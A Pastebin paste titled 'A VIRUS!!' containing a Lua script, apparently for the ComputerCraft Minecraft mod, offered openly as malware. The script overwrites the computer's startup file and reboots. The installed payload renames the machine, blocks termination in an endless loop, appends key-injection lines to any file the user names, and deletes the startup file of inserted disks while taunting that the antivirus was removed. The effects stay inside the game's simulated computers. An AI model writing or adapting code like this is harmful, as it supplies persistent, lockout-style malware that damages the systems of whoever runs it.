Advertisement
guitarplayer616

A VIRUS!!

May 28th, 2015
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.12 KB | None | 0 0
  1. local handle = fs.open(shell.resolve("startup"),"w")
  2. handle.write([[
  3. local deleted = nil
  4. term.clear()
  5. term.setCursorPos(1,1)
  6. term.setTextColor(colors.yellow)
  7. print("Virus OS 1.8")
  8. term.setTextColor(colors.white)
  9. shell.run("label set BrokenComp")
  10. print("This comp is fcked!")
  11. while true do
  12.   h = fs.open(io.read(),"a")
  13.   h.write("\n")
  14.   for v in pairs(keys) do
  15.     if tostring(v) ~= "end" then
  16.       if tostring(v) ~= "return" then
  17.         h.write("os.queueEvent(\"key\",")
  18.         h.writeLine("keys."..tostring(v)..")")
  19.       end
  20.     end
  21.   end
  22.   h.close()
  23.   local a = os.pullEventRaw()
  24.   if a == "disk" then
  25.     if fs.exists("disk/startup") then
  26.       shell.run("delete disk/startup")
  27.       term.setTextColor(colors.green)
  28.       textutils.slowPrint("Antivirus Deleted")
  29.       sleep(.5)
  30.       term.setTextColor(colors.white)
  31.       print("nice try")
  32.       deleted = true
  33.     end
  34.   end
  35.   if a=="disk_eject" then
  36.     if deleted then
  37.       print(nil)
  38.       print("Get a better antivirus next time")
  39.     end
  40.   end
  41.   if a=="terminate" then
  42.     printError("Terminated")
  43.   end
  44. end]])
  45. handle.close()
  46. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement